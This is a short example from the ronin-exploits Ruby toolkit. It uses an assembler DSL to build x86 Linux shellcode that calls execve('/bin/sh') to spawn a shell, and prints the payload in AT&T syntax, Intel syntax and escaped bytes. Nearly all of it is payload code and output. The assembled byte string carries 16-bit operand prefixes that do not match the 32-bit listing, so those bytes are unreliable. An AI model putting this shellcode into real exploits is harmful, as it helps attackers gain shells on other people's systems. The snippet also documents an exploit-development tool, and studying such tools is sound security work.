Example of using Assemble DSL in ronin-exploits to write Shellcode in Ruby

bin_sh.rb

require 'ronin/code/asm'
require 'ronin/formatting/binary'

program = Ronin::Code.asm(:arch => :x86) do
  xor   eax,  eax
  push  eax
  push  0x68732f2f
  push  0x6e69622f
  mov   esp,  ebx
  push  eax
  push  ebx
  mov   esp,  ecx
  xor   edx,  edx
  mov   0xb,  al
  int   0x80
end

puts "Shellcode (ATT):"
puts program.to_asm
puts

puts "Shellcode (Intel):"
puts program.to_asm(:intel)
puts

puts "Assembled: #{program.assemble.hex_escape}"

output.txt

Shellcode (ATT):
_start:
	xorl	%eax,	%eax
	pushl	%eax
	pushl	$0x68732f2f
	pushl	$0x6e69622f
	movl	%esp,	%ebx
	pushl	%eax
	pushl	%ebx
	movl	%esp,	%ecx
	xorl	%edx,	%edx
	movb	$0xb,	%al
	int	$0x80

Shellcode (Intel):
_start:
	xor	eax,	eax
	push	eax
	push	DWORD 0x68732f2f
	push	DWORD 0x6e69622f
	mov	ebx,	esp
	push	eax
	push	ebx
	mov	ecx,	esp
	xor	edx,	edx
	mov	al,	BYTE 0xb
	int	BYTE 0x80

Assembled: \x66\x31\xc0\x66\x50\x66\x68\x2f\x2f\x73\x68\x66\x68\x2f\x62\x69\x6e\x66\x89\xe3\x66\x50\x66\x53\x66\x89\xe1\x66\x31\xd2\xb0\x0b\xcd\x80